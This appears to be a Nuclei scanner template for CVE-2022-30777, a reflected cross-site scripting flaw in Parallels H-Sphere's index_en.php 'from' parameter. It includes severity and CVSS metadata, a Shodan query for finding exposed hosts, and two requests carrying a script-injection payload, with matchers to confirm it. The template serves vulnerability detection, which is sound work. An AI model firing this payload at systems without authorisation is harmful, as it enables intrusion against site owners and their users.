id: CVE-2022-30777 info: name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting author: 3th1c_yuk1 severity: medium description: | Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter. remediation: | Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability. reference: - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 - https://en.wikipedia.org/wiki/H-Sphere - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30777 cwe-id: CWE-79 epss-score: 0.00117 epss-percentile: 0.45419 cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: parallels product: h-sphere shodan-query: title:"h-sphere" tags: cve,cve2022,parallels,hsphere,xss http: - method: GET path: - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' stop-at-first-match: true matchers-condition: and matchers: - type: word words: - '"><script>alert(document.domain)</script>' - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4b0a00483046022100e8fdf0e419be67a0c78c890ac88a50c269556cb83441d64a1d013ecceeb9db96022100ed1d80b5d6365aa43328d5f935d5a10253b93606c7bf8bc811b2833ec4fd3cf5:922c64590222798bb761d5b6d8e72950